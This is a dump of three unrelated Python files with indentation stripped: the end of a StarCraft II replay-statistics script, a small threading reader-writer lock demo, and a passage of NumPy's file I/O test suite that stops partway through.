print("[%s] %s" % (self.stats.proc_id, line))
def _update_stage(self, stage):
self.stats.update(stage)
self.stats_queue.put(self.stats)
def process_replay(self, controller, replay_data, map_data, player_id):
"""Process a single replay, updating the stats."""
self._update_stage("start_replay")
controller.start_replay(sc_pb.RequestStartReplay(
replay_data=replay_data,
map_data=map_data,
options=interface,
observed_player_id=player_id))
feat = features.features_from_game_info(controller.game_info())
self.stats.replay_stats.replays += 1
self._update_stage("step")
controller.step()
while True:
self.stats.replay_stats.steps += 1
self._update_stage("observe")
obs = controller.observe()
for action in obs.actions:
act_fl = action.action_feature_layer
if act_fl.HasField("unit_command"):
self.stats.replay_stats.made_abilities[
act_fl.unit_command.ability_id] += 1
if act_fl.HasField("camera_move"):
self.stats.replay_stats.camera_move += 1
if act_fl.HasField("unit_selection_point"):
self.stats.replay_stats.select_pt += 1
if act_fl.HasField("unit_selection_rect"):
self.stats.replay_stats.select_rect += 1
if action.action_ui.HasField("control_group"):
self.stats.replay_stats.control_group += 1
try:
func = feat.reverse_action(action).function
except ValueError:
func = -1
self.stats.replay_stats.made_actions[func] += 1
for valid in obs.observation.abilities:
self.stats.replay_stats.valid_abilities[valid.ability_id] += 1
for u in obs.observation.raw_data.units:
self.stats.replay_stats.unit_ids[u.unit_type] += 1
for b in u.buff_ids:
self.stats.replay_stats.buffs[b] += 1
for u in obs.observation.raw_data.player.upgrade_ids:
self.stats.replay_stats.upgrades[u] += 1
for e in obs.observation.raw_data.effects:
self.stats.replay_stats.effects[e.effect_id] += 1
for ability_id in feat.available_actions(obs.observation):
self.stats.replay_stats.valid_actions[ability_id] += 1
if obs.player_result:
break
self._update_stage("step")
controller.step(FLAGS.step_mul)
def stats_printer(stats_queue):
"""A thread that consumes stats_queue and prints them every 10 seconds."""
proc_stats = [ProcessStats(i) for i in range(FLAGS.parallel)]
print_time = start_time = time.time()
width = 107
running = True
while running:
print_time += 10
while time.time() < print_time:
try:
s = stats_queue.get(True, print_time - time.time())
if s is None: # Signal to print and exit NOW!
running = False
break
proc_stats[s.proc_id] = s
except queue.Empty:
pass
replay_stats = ReplayStats()
for s in proc_stats:
replay_stats.merge(s.replay_stats)
print((" Summary %0d secs " % (print_time - start_time)).center(width, "="))
print(replay_stats)
print(" Process stats ".center(width, "-"))
print("\n".join(str(s) for s in proc_stats))
print("=" * width)
def replay_queue_filler(replay_queue, replay_list):
"""A thread that fills the replay_queue with replay filenames."""
for replay_path in replay_list:
replay_queue.put(replay_path)
def main(unused_argv):
"""Dump stats about all the actions that are in use in a set of replays."""
run_config = run_configs.get()
if not gfile.Exists(FLAGS.replays):
sys.exit("{} doesn't exist.".format(FLAGS.replays))
stats_queue = multiprocessing.Queue()
stats_thread = threading.Thread(target=stats_printer, args=(stats_queue,))
try:
# For some reason buffering everything into a JoinableQueue makes the
# program not exit, so save it into a list then slowly fill it into the
# queue in a separate thread. Grab the list synchronously so we know there
# is work in the queue before the SC2 processes actually run, otherwise
# The replay_queue.join below succeeds without doing any work, and exits.
print("Getting replay list:", FLAGS.replays)
replay_list = sorted(run_config.replay_paths(FLAGS.replays))
print(len(replay_list), "replays found.")
if not replay_list:
return
if not FLAGS["sc2_version"].present: # ie not set explicitly.
version = replay.get_replay_version(
run_config.replay_data(replay_list[0]))
run_config = run_configs.get(version=version)
print("Assuming version:", version.game_version)
print()
stats_thread.start()
replay_queue = multiprocessing.JoinableQueue(FLAGS.parallel * 10)
replay_queue_thread = threading.Thread(target=replay_queue_filler,
args=(replay_queue, replay_list))
replay_queue_thread.daemon = True
replay_queue_thread.start()
for i in range(min(len(replay_list), FLAGS.parallel)):
p = ReplayProcessor(i, run_config, replay_queue, stats_queue)
p.daemon = True
p.start()
time.sleep(1) # Stagger startups, otherwise they seem to conflict somehow
replay_queue.join() # Wait for the queue to empty.
except KeyboardInterrupt:
print("Caught KeyboardInterrupt, exiting.")
finally:
stats_queue.put(None) # Tell the stats_thread to print and exit.
if stats_thread.is_alive():
stats_thread.join()
if __name__ == "__main__":
app.run(main)
|
P36_SimpleReaderWriter.py | # Edgar Barrera / Github: https://github.com/EdgarCastillo101/EdgarCastillo101
# Copyright (c) 2021 Edgar Barrera
#In this example, we will see how to implement a simple reader Writer program using Python (Mutex)
import threading as thread
import random
global x #Shared Data
x = 0
lock = thread.Lock() #Lock for synchronising access
def Reader():
global x
print('Reader is Reading!')
lock.acquire() #Acquire the lock before Reading (mutex approach)
print('Shared Data:', x)
lock.release() #Release the lock after Reading
print()
def Writer():
global x
print('Writer is Writing!')
lock.acquire() #Acquire the lock before Writing
x += 1 #Write on the shared memory
print('Writer is Releasing the lock!')
lock.release() #Release the lock after Writing
print()
if __name__ == '__main__':
for i in range(0, 10):
randomNumber = random.randint(0, 100) #Generate a Random number between 0 to 100
if(randomNumber > 50):
Thread1 = thread.Thread(target = Reader)
Thread1.start()
else:
Thread2 = thread.Thread(target = Writer)
Thread2.start()
Thread1.join()
Thread2.join()
# print(x)
|
test_io.py | import numpy as np
import numpy.ma as ma
from numpy.ma.testutils import (TestCase, assert_equal, assert_array_equal,
assert_raises, run_module_suite)
from numpy.testing import assert_warns, assert_
import sys
import gzip
import os
import threading
from tempfile import mkstemp, NamedTemporaryFile
import time
from datetime import datetime
from numpy.lib._iotools import ConverterError, ConverterLockError, \
ConversionWarning
from numpy.compat import asbytes, asbytes_nested, bytes
if sys.version_info[0] >= 3:
from io import BytesIO
def StringIO(s=""):
return BytesIO(asbytes(s))
else:
from StringIO import StringIO
BytesIO = StringIO
MAJVER, MINVER = sys.version_info[:2]
def strptime(s, fmt=None):
"""This function is available in the datetime module only
from Python >= 2.5.
"""
if sys.version_info[0] >= 3:
return datetime(*time.strptime(s.decode('latin1'), fmt)[:3])
else:
return datetime(*time.strptime(s, fmt)[:3])
class RoundtripTest(object):
def roundtrip(self, save_func, *args, **kwargs):
"""
save_func : callable
Function used to save arrays to file.
file_on_disk : bool
If true, store the file on disk, instead of in a
string buffer.
save_kwds : dict
Parameters passed to `save_func`.
load_kwds : dict
Parameters passed to `numpy.load`.
args : tuple of arrays
Arrays stored to file.
"""
save_kwds = kwargs.get('save_kwds', {})
load_kwds = kwargs.get('load_kwds', {})
file_on_disk = kwargs.get('file_on_disk', False)
if file_on_disk:
# Do not delete the file on windows, because we can't
# reopen an already opened file on that platform, so we
# need to close the file and reopen it, implying no
# automatic deletion.
if sys.platform == 'win32' and MAJVER >= 2 and MINVER >= 6:
target_file = NamedTemporaryFile(delete=False)
else:
target_file = NamedTemporaryFile()
load_file = target_file.name
else:
target_file = StringIO()
load_file = target_file
arr = args
save_func(target_file, *arr, **save_kwds)
target_file.flush()
target_file.seek(0)
if sys.platform == 'win32' and not isinstance(target_file, BytesIO):
target_file.close()
arr_reloaded = np.load(load_file, **load_kwds)
self.arr = arr
self.arr_reloaded = arr_reloaded
def test_array(self):
a = np.array([[1, 2], [3, 4]], float)
self.roundtrip(a)
a = np.array([[1, 2], [3, 4]], int)
self.roundtrip(a)
a = np.array([[1 + 5j, 2 + 6j], [3 + 7j, 4 + 8j]], dtype=np.csingle)
self.roundtrip(a)
a = np.array([[1 + 5j, 2 + 6j], [3 + 7j, 4 + 8j]], dtype=np.cdouble)
self.roundtrip(a)
def test_1D(self):
a = np.array([1, 2, 3, 4], int)
self.roundtrip(a)
@np.testing.dec.knownfailureif(sys.platform == 'win32', "Fail on Win32")
def test_mmap(self):
a = np.array([[1, 2.5], [4, 7.3]])
self.roundtrip(a, file_on_disk=True, load_kwds={'mmap_mode': 'r'})
def test_record(self):
a = np.array([(1, 2), (3, 4)], dtype=[('x', 'i4'), ('y', 'i4')])
self.roundtrip(a)
class TestSaveLoad(RoundtripTest, TestCase):
def roundtrip(self, *args, **kwargs):
RoundtripTest.roundtrip(self, np.save, *args, **kwargs)
assert_equal(self.arr[0], self.arr_reloaded)
class TestSavezLoad(RoundtripTest, TestCase):
def roundtrip(self, *args, **kwargs):
RoundtripTest.roundtrip(self, np.savez, *args, **kwargs)
for n, arr in enumerate(self.arr):
assert_equal(arr, self.arr_reloaded['arr_%d' % n])
def test_multiple_arrays(self):
a = np.array([[1, 2], [3, 4]], float)
b = np.array([[1 + 2j, 2 + 7j], [3 - 6j, 4 + 12j]], complex)
self.roundtrip(a, b)
def test_named_arrays(self):
a = np.array([[1, 2], [3, 4]], float)
b = np.array([[1 + 2j, 2 + 7j], [3 - 6j, 4 + 12j]], complex)
c = StringIO()
np.savez(c, file_a=a, file_b=b)
c.seek(0)
l = np.load(c)
assert_equal(a, l['file_a'])
assert_equal(b, l['file_b'])
def test_savez_filename_clashes(self):
# Test that issue #852 is fixed
# and savez functions in multithreaded environment
def writer(error_list):
fd, tmp = mkstemp(suffix='.npz')
os.close(fd)
try:
arr = np.random.randn(500, 500)
try:
np.savez(tmp, arr=arr)
except OSError, err:
error_list.append(err)
finally:
os.remove(tmp)
errors = []
threads = [threading.Thread(target=writer, args=(errors,))
for j in xrange(3)]
for t in threads:
t.start()
for t in threads:
t.join()
if errors:
raise AssertionError(errors)
class TestSaveTxt(TestCase):
def test_array(self):
a = np.array([[1, 2], [3, 4]], float)
fmt = "%.18e"
c = StringIO()
np.savetxt(c, a, fmt=fmt)
c.seek(0)
assert_equal(c.readlines(),
asbytes_nested(
[(fmt + ' ' + fmt + '\n') % (1, 2),
(fmt + ' ' + fmt + '\n') % (3, 4)]))
a = np.array([[1, 2], [3, 4]], int)
c = StringIO()
np.savetxt(c, a, fmt='%d')
c.seek(0)
assert_equal(c.readlines(), asbytes_nested(['1 2\n', '3 4\n']))
def test_1D(self):
a = np.array([1, 2, 3, 4], int)
c = StringIO()
np.savetxt(c, a, fmt='%d')
c.seek(0)
lines = c.readlines()
assert_equal(lines, asbytes_nested(['1\n', '2\n', '3\n', '4\n']))
def test_record(self):
a = np.array([(1, 2), (3, 4)], dtype=[('x', 'i4'), ('y', 'i4')])
c = StringIO()
np.savetxt(c, a, fmt='%d')
c.seek(0)
assert_equal(c.readlines(), asbytes_nested(['1 2\n', '3 4\n']))
def test_delimiter(self):
a = np.array([[1., 2.], [3., 4.]])
c = StringIO()
np.savetxt(c, a, delimiter=asbytes(','), fmt='%d')
c.seek(0)
assert_equal(c.readlines(), asbytes_nested(['1,2\n', '3,4\n']))
def test_format(self):
a = np.array([(1, 2), (3, 4)])
c = StringIO()
# Sequence of formats
np.savetxt(c, a, fmt=['%02d', '%3.1f'])
c.seek(0)
assert_equal(c.readlines(), asbytes_nested(['01 2.0\n', '03 4.0\n']))
# A single multiformat string
c = StringIO()
np.savetxt(c, a, fmt='%02d : %3.1f')
c.seek(0)
lines = c.readlines()
assert_equal(lines, asbytes_nested(['01 : 2.0\n', '03 : 4.0\n']))
# Specify delimiter, should be overiden
c = StringIO()
np.savetxt(c, a, fmt='%02d : %3.1f', delimiter=',')
c.seek(0)
lines = c.readlines()
assert_equal(lines, asbytes_nested(['01 : 2.0\n', '03 : 4.0\n']))
def test_file_roundtrip(self):
f, name = mkstemp()
os.close(f)
try:
a = np.array([(1, 2), (3, 4)])
np.savetxt(name, a)
b = np.loadtxt(name)
assert_array_equal(a, b)
finally:
os.unlink(name)
class TestLoadTxt(TestCase):
def test_record(self):
c = StringIO()
c.write(asbytes('1 2\n3 4'))
c.seek(0)
x = np.loadtxt(c, dtype=[('x', np.int32), ('y', np.int32)])
a = np.array([(1, 2), (3, 4)], dtype=[('x', 'i4'), ('y', 'i4')])
assert_array_equal(x, a)
d = StringIO()
d.write(asbytes('M 64.0 75.0\nF 25.0 60.0'))
d.seek(0)
mydescriptor = {'names': ('gender', 'age', 'weight'),
'formats': ('S1',
'i4', 'f4')}
b = np.array([('M', 64.0, 75.0),
('F', 25.0, 60.0)], dtype=mydescriptor)
y = np.loadtxt(d, dtype=mydescriptor)
assert_array_equal(y, b)
def test_array(self):
c = StringIO()
c.write(asbytes('1 2\n3 4'))
c.seek(0)
x = np.loadtxt(c, dtype=int)
a = np.array([[1, 2], [3, 4]], int)
assert_array_equal(x, a)
c.seek(0)
x = np.loadtxt(c, dtype=float)
a = np.array([[1, 2], [3, 4]], float)
assert_array_equal(x, a)
def test_1D(self):
c = StringIO()
c.write(asbytes('1\n2\n3\n4\n'))
c.seek(0)
x = np.loadtxt(c, dtype=int)
a = np.array([1, 2, 3, 4], int)
assert_array_equal(x, a)
c = StringIO()
c.write(asbytes('1,2,3,4\n'))
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',')
a = np.array([1, 2, 3, 4], int)
assert_array_equal(x, a)
def test_missing(self):
c = StringIO()
c.write(asbytes('1,2,3,,5\n'))
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',', \
converters={3:lambda s: int(s or - 999)})
a = np.array([1, 2, 3, -999, 5], int)
assert_array_equal(x, a)
def test_converters_with_usecols(self):
c = StringIO()
c.write(asbytes('1,2,3,,5\n6,7,8,9,10\n'))
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',', \
converters={3:lambda s: int(s or - 999)}, \
usecols=(1, 3,))
a = np.array([[2, -999], [7, 9]], int)
assert_array_equal(x, a)
def test_comments(self):
c = StringIO()
c.write(asbytes('# comment\n1,2,3,5\n'))
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',', \
comments='#')
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
def test_skiprows(self):
c = StringIO()
c.write(asbytes('comment\n1,2,3,5\n'))
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',', \
skiprows=1)
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
c = StringIO()
c.write(asbytes('# comment\n1,2,3,5\n'))
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',', \
skiprows=1)
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
def test_usecols(self):
a = np.array([[1, 2], [3, 4]], float)
c = StringIO()
np.savetxt(c, a)
c.seek(0)
x = np.loadtxt(c, dtype=float, usecols=(1,))
assert_array_equal(x, a[:, 1])
a = np.array([[1, 2, 3], [3, 4, 5]], float)
c = StringIO()
np.savetxt(c, a)
c.seek(0)
x = np.loadtxt(c, dtype=float, usecols=(1, 2))
assert_array_equal(x, a[:, 1:])
# Testing with arrays instead of tuples.
c.seek(0)
x = np.loadtxt(c, dtype=float, usecols=np.array([1, 2]))
assert_array_equal(x, a[:, 1:])
# Checking with dtypes defined converters.
data = '''JOE 70.1 25.3
BOB 60.5 27.9
'''
c = StringIO(data)
names = ['stid', 'temp']
dtypes = ['S4', 'f8']
arr = np.loadtxt(c, usecols=(0, 2), dtype=zip(names, dtypes))
assert_equal(arr['stid'], asbytes_nested(["JOE", "BOB"]))
assert_equal(arr['temp'], [25.3, 27.9])
def test_fancy_dtype(self):
c = StringIO()
c.write(asbytes('1,2,3.0\n4,5,6.0\n'))
c.seek(0)
dt = np.dtype([('x', int), ('y', [('t', int), ('s', float)])])
x = np.loadtxt(c, dtype=dt, delimiter=',')
a = np.array([(1, (2, 3.0)), (4, (5, 6.0))], dt)
assert_array_equal(x, a)
def test_shaped_dtype(self):
c = StringIO("aaaa 1.0 8.0 1 2 3 4 5 6")
dt = np.dtype([('name', 'S4'), ('x', float), ('y', float),
('block', int, (2, 3))])
x = np.loadtxt(c, dtype=dt)
a = np.array([('aaaa', 1.0, 8.0, [[1, 2, 3], [4, 5, 6]])],
dtype=dt)
assert_array_equal(x, a)
def test_3d_shaped_dtype(self):
c = StringIO("aaaa 1.0 8.0 1 2 3 4 5 6 7 8 9 10 11 12")
dt = np.dtype([('name', 'S4'), ('x', float), ('y', float),
('block', int, (2, 2, 3))])
x = np.loadtxt(c, dtype=dt)
a = np.array([('aaaa', 1.0, 8.0, [[[1, 2, 3], [4, 5, 6]],[[7, 8, 9], [10, 11, 12]]])],
dtype=dt)
assert_array_equal(x, a)
def test_empty_file(self):
c = StringIO()
x = np.loadtxt(c)
assert_equal(x.shape, (0,))
x = np.loadtxt(c, dtype=np.int64)
assert_equal(x.shape, (0,))
assert_(x.dtype == np.int64)
def test_unused_converter(self):
c = StringIO()
c.writelines([asbytes('1 21\n'), asbytes('3 42\n')])
c.seek(0)
data = np.loadtxt(c, usecols=(1,),
converters={0: lambda s: int(s, 16)})
assert_array_equal(data, [21, 42])
c.seek(0)
data = np.loadtxt(c, usecols=(1,),
converters={1: lambda s: int(s, 16)})
assert_array_equal(data, [33, 66])
def test_dtype_with_object(self):
"Test using an explicit dtype with an object"
from datetime import date
import time
data = asbytes(""" 1; 2001-01-01
2; 2002-01-31 """)
ndtype = [('idx', int), ('code', np.object)]
func = lambda s: strptime(s.strip(), "%Y-%m-%d")
converters = {1: func}
test = np.loadtxt(StringIO(data), delimiter=";", dtype=ndtype,
converters=converters)
control = np.array([(1, datetime(2001, 1, 1)), (2, datetime(2002, 1, 31))],
dtype=ndtype)
assert_equal(test, control)
def test_uint64_type(self):
tgt = (9223372043271415339, 9223372043271415853)
c = StringIO()
c.write(asbytes("%s %s" % tgt))
c.seek(0)
res = np.loadtxt(c, dtype=np.uint64)
assert_equal(res, tgt)
def test_int64_type(self):
tgt = (-9223372036854775807, 9223372036854775807)
c = StringIO()
c.write(asbytes("%s %s" % tgt))
c.seek(0)
res = np.loadtxt(c, dtype=np.int64)
assert_equal(res, tgt)
def test_universal_newline(self):
f, name = mkstemp()
os.write(f, asbytes('1 21\r3 42\r'))
os.close(f)
try:
data = np.loadtxt(name)
assert_array_equal(data, [[1, 21], [3, 42]])
finally:
os.unlink(name)
def test_empty_field_after_tab(self):
c = StringIO()
c.write(asbytes('1 \t2 \t3\tstart \n4\t5\t6\t \n7\t8\t9.5\t'))
c.seek(0)
dt = { 'names': ('x', 'y', 'z', 'comment'),
'formats': ('<i4', '<i4', '<f4', '|S8')}
x = np.loadtxt(c, dtype=dt, delimiter='\t')
a = np.array([asbytes('start '), asbytes(' '), asbytes('')])
assert_array_equal(x['comment'], a)
def test_structure_unpack(self):
txt = StringIO(asbytes("M 21 72\nF 35 58"))
dt = { 'names': ('a', 'b', 'c'), 'formats': ('|S1', '<i4', '<f4')}
a, b, c = np.loadtxt(txt, dtype=dt, unpack=True)
assert_(a.dtype.str == '|S1')
assert_(b.dtype.str == '<i4')
assert_(c.dtype.str == '<f4')
assert_array_equal(a, np.array([asbytes('M'), asbytes('F')]))
assert_array_equal(b, np.array([21, 35]))
assert_array_equal(c, np.array([ 72., 58.]))
def test_ndmin_keyword(self):
c = StringIO()
c.write(asbytes('1,2,3\n4,5,6'))
c.seek(0)
assert_raises(ValueError, np.loadtxt, c, ndmin=3)
c.seek(0)
assert_raises(ValueError, np.loadtxt, c, ndmin=1.5)
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',', ndmin=1)
a = np.array([[1, 2, 3], [4, 5, 6]])
assert_array_equal(x, a)
d = StringIO()
d.write(asbytes('0,1,2'))
d.seek(0)
x = np.loadtxt(d, dtype=int, delimiter=',', ndmin=2)
assert_(x.shape == (1, 3))
d.seek(0)
x = np.loadtxt(d, dtype=int, delimiter=',', ndmin=1)
assert_(x.shape == (3,))
d.seek(0)
x = np.loadtxt(d, dtype=int, delimiter=',', ndmin=0)
assert_(x.shape == (3,))
e = StringIO()
e.write(asbytes('0\n1\n2'))
e.seek(0)
x = np.loadtxt(e, dtype=int, delimiter=',', ndmin=2)
assert_(x.shape == (3, 1))
e.seek(0)
x = np.loadtxt(e, dtype=int, delimiter=',', ndmin=1)
assert_(x.shape == (3,))
e.seek(0)
x = np.loadtxt(e, dtype=int, delimiter=',', ndmin=0)
assert_(x.shape == (3,))
f = StringIO()
assert_(np.loadtxt(f, ndmin=2).shape == (0, 1,))
assert_(np.loadtxt(f, ndmin=1).shape == (0,))
def test_generator_source(self):
def count():
for i in range(10):
yield asbytes("%d" % i)
res = np.loadtxt(count())
assert_array_equal(res, np.arange(10))
class Testfromregex(TestCase):
def test_record(self):
c = StringIO()
c.write(asbytes('1.312 foo\n1.534 bar\n4.444 qux'))
c.seek(0)
dt = [('num', np.float64), ('val', 'S3')]
x = np.fromregex(c, r"([0-9.]+)\s+(...)", dt)
a = np.array([(1.312, 'foo'), (1.534, 'bar'), (4.444, 'qux')],
dtype=dt)
assert_array_equal(x, a)
def test_record_2(self):
c = StringIO()
c.write(asbytes('1312 foo\n1534 bar\n4444 qux'))
c.seek(0)
dt = [('num', np.int32), ('val', 'S3')]
x = np.fromregex(c, r"(\d+)\s+(...)", dt)
a = np.array([(1312, 'foo'), (1534, 'bar'), (4444, 'qux')],
dtype=dt)
assert_array_equal(x, a)
def test_record_3(self):
c = StringIO()
c.write(asbytes('1312 foo\n1534 bar\n4444 qux'))
c.seek(0)
dt = [('num', np.float64)]
x = np.fromregex(c, r"(\d+)\s+...", dt)
a = np.array([(1312,), (1534,), (4444,)], dtype=dt)
assert_array_equal(x, a)
#####--------------------------------------------------------------------------
class TestFromTxt(TestCase):
#
def test_record(self):
"Test w/ explicit dtype"
data = StringIO(asbytes('1 2\n3 4'))
# data.seek(0)
test = np.ndfromtxt(data, dtype=[('x', np.int32), ('y', np.int32)])
control = np.array([(1, 2), (3, 4)], dtype=[('x', 'i4'), ('y', 'i4')])
assert_equal(test, control)
#
data = StringIO('M 64.0 75.0\nF 25.0 60.0')
# data.seek(0)
descriptor = {'names': ('gender', 'age', 'weight'),
'formats': ('S1', 'i4', 'f4')}
control = np.array([('M', 64.0, 75.0), ('F', 25.0, 60.0)],
dtype=descriptor)
test = np.ndfromtxt(data, dtype=descriptor)
assert_equal(test, control)
def test_array(self):
"Test outputing a standard ndarray"
data = StringIO('1 2\n3 4')
control = np.array([[1, 2], [3, 4]], dtype=int)
test = np.ndfromtxt(data, dtype=int)
assert_array_equal(test, control)
#
data.seek(0)
control = np.array([[1, 2], [3, 4]], dtype=float)
test = np.loadtxt(data, dtype=float)
assert_array_equal(test, control)
def test_1D(self):
"Test squeezing to 1D"
control = np.array([1, 2, 3, 4], int)
#
data = StringIO('1\n2\n3\n4\n')
test = np.ndfromtxt(data, dtype=int)
assert_array_equal(test, control)
#
data = StringIO('1,2,3,4\n')
test = np.ndfromtxt(data, dtype=int, delimiter=asbytes(','))
assert_array_equal(test, control)
def test_comments(self):
"Test the stripping of comments"
control = np.array([1, 2, 3, 5], int)
# Comment on its own line
data = StringIO('# comment\n1,2,3,5\n')
test = np.ndfromtxt(data, dtype=int, delimiter=asbytes(','), comments=asbytes('#'))
assert_equal(test, control)
# Comment at the end of a line
data = StringIO('1,2,3,5# comment\n')
test = np.ndfromtxt(data, dtype=int, delimiter=asbytes(','), comments=asbytes('#'))
assert_equal(test, control)
def test_skiprows(self):
"Test row skipping"
control = np.array([1, 2, 3, 5], int)
kwargs = dict(dtype=int, delimiter=asbytes(','))
#
data = StringIO('comment\n1,2,3,5\n')
test = np.ndfromtxt(data, skip_header=1, **kwargs)
assert_equal(test, control)
#
data = StringIO('# comment\n1,2,3,5\n')
test = np.loadtxt(data, skiprows=1, **kwargs)
assert_equal(test, control)
def test_skip_footer(self):
data = ["# %i" % i for i in range(1, 6)]
data.append("A, B, C")
data.extend(["%i,%3.1f,%03s" % (i, i, i) for i in range(51)])
data[-1] = "99,99"
kwargs = dict(delimiter=",", names=True, skip_header=5, skip_footer=10)
test = np.genfromtxt(StringIO(asbytes("\n".join(data))), **kwargs)
ctrl = np.array([("%f" % i, "%f" % i, "%f" % i) for i in range(41)],
dtype=[(_, float) for _ in "ABC"])
assert_equal(test, ctrl)
def test_skip_footer_with_invalid(self):
import warnings
basestr = '1 1\n2 2\n3 3\n4 4\n5 \n6 \n7 \n'
warnings.filterwarnings("ignore")
# Footer too small to get rid of all invalid values
assert_raises(ValueError, np.genfromtxt,
StringIO(basestr), skip_footer=1)
# except ValueError:
# pass
a = np.genfromtxt(StringIO(basestr), skip_footer=1, invalid_raise=False)
assert_equal(a, np.array([[1., 1.], [2., 2.], [3., 3.], [4., 4.]]))
#
a = np.genfromtxt(StringIO(basestr), skip_footer=3)
assert_equal(a, np.array([[1., 1.], [2., 2.], [3., 3.], [4., 4.]]))
#
basestr = '1 1\n2 \n3 3\n4 4\n5 \n6 6\n7 7\n'
a = np.genfromtxt(StringIO(basestr), skip_footer=1, invalid_raise=False)
assert_equal(a, np.array([[1., 1.], [3., 3.], [4., 4.], [6., 6.]]))
a = np.genfromtxt(StringIO(basestr), skip_footer=3, invalid_raise=False)
assert_equal(a, np.array([[1., 1.], [3., 3.], [4., 4.]]))
warnings.resetwarnings()
def test_header(self):
"Test retrieving a header"
data = StringIO('gender age weight\nM 64.0 75.0\nF 25.0 60.0')
test = np.ndfromtxt(data, dtype=None, names=True)
control = {'gender': np.array(asbytes_nested(['M', 'F'])),
'age': np.array([64.0, 25.0]),
'weight': np.array([75.0, 60.0])}
assert_equal(test['gender'], control['gender'])
assert_equal(test['age'], control['age'])
assert_equal(test['weight'], control['weight'])
def test_auto_dtype(self):
"Test the automatic definition of the output dtype"
data = StringIO('A 64 75.0 3+4j True\nBCD 25 60.0 5+6j False')
test = np.ndfromtxt(data, dtype=None)
control = [np.array(asbytes_nested(['A', 'BCD'])),
np.array([64, 25]),
np.array([75.0, 60.0]),
np.array([3 + 4j, 5 + 6j]),
np.array([True, False]), ]
assert_equal(test.dtype.names, ['f0', 'f1', 'f2', 'f3', 'f4'])
for (i, ctrl) in enumerate(control):
assert_equal(test['f%i' % i], ctrl)
def test_auto_dtype_uniform(self):
"Tests whether the output dtype can be uniformized"
data = StringIO('1 2 3 4\n5 6 7 8\n')
test = np.ndfromtxt(data, dtype=None)
control = np.array([[1, 2, 3, 4], [5, 6, 7, 8]])
assert_equal(test, control)
def test_fancy_dtype(self):
"Check that a nested dtype isn't MIA"
data = StringIO('1,2,3.0\n4,5,6.0\n')
fancydtype = np.dtype([('x', int), ('y', [('t', int), ('s', float)])])
test = np.ndfromtxt(data, dtype=fancydtype, delimiter=',')
control = np.array([(1, (2, 3.0)), (4, (5, 6.0))], dtype=fancydtype)
assert_equal(test, control)
def test_names_overwrite(self):
"Test overwriting the names of the dtype"
descriptor = {'names': ('g', 'a', 'w'),
'formats': ('S1', 'i4', 'f4')}
data = StringIO('M 64.0 75.0\nF 25.0 60.0')
names = ('gender', 'age', 'weight')
test = np.ndfromtxt(data, dtype=descriptor, names=names)
descriptor['names'] = names
control = np.array([('M', 64.0, 75.0),
('F', 25.0, 60.0)], dtype=descriptor)
assert_equal(test, control)
def test_commented_header(self):
"Check that names can be retrieved even if the line is commented out."
data = StringIO("""
#gender age weight
M 21 72.100000
F 35 58.330000
M 33 21.99
""")
# The # is part of the first name and should be deleted automatically.
test = np.genfromtxt(data, names=True, dtype=None)
ctrl = np.array([('M', 21, 72.1), ('F', 35, 58.33), ('M', 33, 21.99)],
dtype=[('gender', '|S1'), ('age', int), ('weight', float)])
assert_equal(test, ctrl)
# Ditto, but we should get rid of the first element
data = StringIO("""
# gender age weight
M 21 72.100000
F 35 58.330000
M 33 21.99
""")
test = np.genfromtxt(data, names=True, dtype=None)
assert_equal(test, ctrl)
def test_autonames_and_usecols(self):
"Tests names and usecols"
data = StringIO('A B C D\n aaaa 121 45 9.1')
test = np.ndfromtxt(data, usecols=('A', 'C', 'D'),
names=True, dtype=None)
control = np.array(('aaaa', 45, 9.1),
dtype=[('A', '|S4'), ('C', int), ('D', float)])
assert_equal(test, control)
def test_converters_with_usecols(self):
"Test the combination user-defined converters and usecol"
data = StringIO('1,2,3,,5\n6,7,8,9,10\n')
test = np.ndfromtxt(data, dtype=int, delimiter=',',
converters={3:lambda s: int(s or - 999)},
usecols=(1, 3,))
control = np.array([[2, -999], [7, 9]], int)
assert_equal(test, control)
def test_converters_with_usecols_and_names(self):
"Tests names and usecols"
data = StringIO('A B C D\n aaaa 121 45 9.1')
test = np.ndfromtxt(data, usecols=('A', 'C', 'D'), names=True,
dtype=None, converters={'C':lambda s: 2 * int(s)})
control = np.array(('aaaa', 90, 9.1),
dtype=[('A', '|S4'), ('C', int), ('D', float)])
assert_equal(test, control)
def test_converters_cornercases(self):
"Test the conversion to datetime."
converter = {'date': lambda s: strptime(s, '%Y-%m-%d %H:%M:%SZ')}
data = StringIO('2009-02-03 12:00:00Z, 72214.0')
test = np.ndfromtxt(data, delimiter=',', dtype=None,
names=['date', 'stid'], converters=converter)
control = np.array((datetime(2009, 02, 03), 72214.),
dtype=[('date', np.object_), ('stid', float)])
assert_equal(test, control)
def test_unused_converter(self):
"Test whether unused converters are forgotten"
data = StringIO("1 21\n 3 42\n")
test = np.ndfromtxt(data, usecols=(1,),
converters={0: lambda s: int(s, 16)})
assert_equal(test, [21, 42])
#
data.seek(0)
test = np.ndfromtxt(data, usecols=(1,),
converters={1: lambda s: int(s, 16)})
assert_equal(test, [33, 66])
def test_invalid_converter(self):
strip_rand = lambda x : float((asbytes('r') in x.lower() and x.split()[-1]) or
(not asbytes('r') in x.lower() and x.strip() or 0.0))
strip_per = lambda x : float((asbytes('%') in x.lower() and x.split()[0]) or
(not asbytes('%') in x.lower() and x.strip() or 0.0))
s = StringIO("D01N01,10/1/2003 ,1 %,R 75,400,600\r\n" \
"L24U05,12/5/2003, 2 %,1,300, 150.5\r\n"
"D02N03,10/10/2004,R 1,,7,145.55")
kwargs = dict(converters={2 : strip_per, 3 : strip_rand}, delimiter=",",
dtype=None)
assert_raises(ConverterError, np.genfromtxt, s, **kwargs)
def test_tricky_converter_bug1666(self):
"Test some corner case"
s = StringIO('q1,2\nq3,4')
cnv = lambda s:float(s[1:])
test = np.genfromtxt(s, delimiter=',', converters={0:cnv})
control = np.array([[1., 2.], [3., 4.]])
assert_equal(test, control)
def test_dtype_with_converters(self):
dstr = "2009; 23; 46"
test = np.ndfromtxt(StringIO(dstr,),
delimiter=";", dtype=float, converters={0:bytes})
